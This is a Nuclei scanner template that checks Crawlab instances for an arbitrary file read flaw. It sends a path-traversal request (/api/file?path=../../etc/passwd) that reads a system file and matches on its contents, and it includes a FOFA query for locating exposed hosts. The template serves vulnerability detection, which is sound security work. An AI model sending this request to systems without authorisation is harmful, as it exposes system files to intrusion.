id: crawlab-lfi

info:
  name: Crawlab - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: Crawlab is vulnerable to arbitrary file read.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Crawlab%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="Crawlab"
  tags: crawlab,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/file?path=../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "data\":\""
          - "error\":"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022057caaa0c12364cb98671254d111126784f799bf85470fdeb5d807f3a75c8a69c022010b9f6ea9f52ce45f468d2704f04be5e6bdde2e23d2a5fa7bd6ceaf51b3941fe:922c64590222798bb761d5b6d8e72950